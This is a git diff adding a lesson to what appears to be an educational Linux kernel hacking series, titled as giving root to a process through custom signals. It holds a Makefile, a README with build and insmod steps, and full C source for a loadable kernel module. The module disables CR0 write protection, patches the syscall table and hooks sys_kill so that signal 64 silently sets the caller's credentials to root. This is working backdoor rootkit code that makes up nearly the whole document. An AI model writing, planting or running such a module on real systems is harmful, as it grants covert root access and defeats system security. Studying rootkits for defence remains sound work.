diff --git a/3_RootkitTechniques/3.3_set_root/Makefile b/3_RootkitTechniques/3.3_set_root/Makefile new file mode 100644 index 0000000..1856805 --- /dev/null +++ b/3_RootkitTechniques/3.3_set_root/Makefile @@ -0,0 +1,7 @@ +obj-m += rootkit.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/3_RootkitTechniques/3.3_set_root/README.md b/3_RootkitTechniques/3.3_set_root/README.md new file mode 100644 index 0000000..022cc11 --- /dev/null +++ b/3_RootkitTechniques/3.3_set_root/README.md @@ -0,0 +1,18 @@ +# Linux Kernel Hacking + +## 3.3: Custom Signals To Give Root Privileges To A Process + +Similar to [Section 3.2](../3.2_kill_signalling/), we can abuse hooking `sys_kill` to trigger a function that gives root to any process that sends a `64` signal to a process (as before, signal `64` is normally unused). + +According to [credentials.rst](https://github.com/torvalds/linux/blob/master/Documentation/security/credentials.rst#altering-credentials), we can only modify the `cred` struct of our own process, and not that of any other process. This means that we can't give an already running process root privileges unless we send the `64` signal from that process! Quite a clever security feature! + +All we have to do is send signal `64` to any process (as before, the signal isn't actually sent anywhere!) and we end up being root! + +To use: +* Build with `make` +* Load with `insmod rootkit.ko` +* Confirm that you currently are *not* root with `whoami` +* Send signal `64` to any pid, e.g. `kill -64 1` + * Note that the signal won't actually be sent to the pid you specify, so any number will do! +* Check `whoami` again, and observe that you are now root! +* Unload with `rmmod rootkit` diff --git a/3_RootkitTechniques/3.3_set_root/rootkit.c b/3_RootkitTechniques/3.3_set_root/rootkit.c new file mode 100644 index 0000000..3f24e90 --- /dev/null +++ b/3_RootkitTechniques/3.3_set_root/rootkit.c @@ -0,0 +1,120 @@ +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("TheXcellerator"); +MODULE_DESCRIPTION("Giving root privileges to a process"); +MODULE_VERSION("0.01"); + +static unsigned long * __sys_call_table; + +typedef asmlinkage long (*orig_kill_t)(const struct pt_regs *); +orig_kill_t orig_kill; + +/* We can only modify our own privileges, and not that of another + * process. Just have to wait for signal 64 (normally unused) + * and then call the set_root() function. */ +asmlinkage int hook_kill(const struct pt_regs *regs) +{ + void set_root(void); + + // pid_t pid = regs->di; + int sig = regs->si; + + if ( sig == 64 ) + { + printk(KERN_INFO "rootkit: giving root...\n"); + set_root(); + return 0; + } + + return orig_kill(regs); + +} + +/* Whatever calls this function will have it's creds struct replaced + * with root's */ +void set_root(void) +{ + /* prepare_creds returns the current credentials of the process */ + struct cred *root; + root = prepare_creds(); + + if (root == NULL) + return; + + /* Run through and set all the various *id's to 0 (root) */ + root->uid.val = root->gid.val = 0; + root->euid.val = root->egid.val = 0; + root->suid.val = root->sgid.val = 0; + root->fsuid.val = root->fsgid.val = 0; + + /* Set the cred struct that we've modified to that of the calling process */ + commit_creds(root); +} + +/* The built in linux write_cr0() function stops us from modifying + * the WP bit, so we write our own instead */ +inline void cr0_write(unsigned long cr0) +{ + asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); +} + +/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which + * determines whether read-only pages can be written to. We are modifying + * the syscall table, so we need to unset it first */ +static inline void protect_memory(void) +{ + unsigned long cr0 = read_cr0(); + set_bit(16, &cr0); + cr0_write(cr0); +} + +static inline void unprotect_memory(void) +{ + unsigned long cr0 = read_cr0(); + clear_bit(16, &cr0); + cr0_write(cr0); +} + +/* Module initialization function */ +static int __init rootkit_init(void) +{ + /* Grab the syscall table */ + __sys_call_table = kallsyms_lookup_name("sys_call_table"); + + /* Grab the function pointer to the real sys_kill syscall */ + orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; + + printk(KERN_INFO "rootkit: Loaded >:-)\n"); + printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); + printk(KERN_DEBUG "rootkit: kill @ 0x%lx\n", orig_kill); + + unprotect_memory(); + + printk(KERN_INFO "rootkit: hooking kill syscall\n"); + /* Patch the function pointer to sys_kill with our hook instead */ + __sys_call_table[__NR_kill] = (unsigned long)hook_kill; + + protect_memory(); + + return 0; +} + +static void __exit rootkit_exit(void) +{ + unprotect_memory(); + + printk(KERN_INFO "rootkit: restoring kill syscall\n"); + __sys_call_table[__NR_kill] = (unsigned long)orig_kill; + + protect_memory(); + + printk(KERN_INFO "rootkit: Unloaded :-(\n"); +} + +module_init(rootkit_init); +module_exit(rootkit_exit);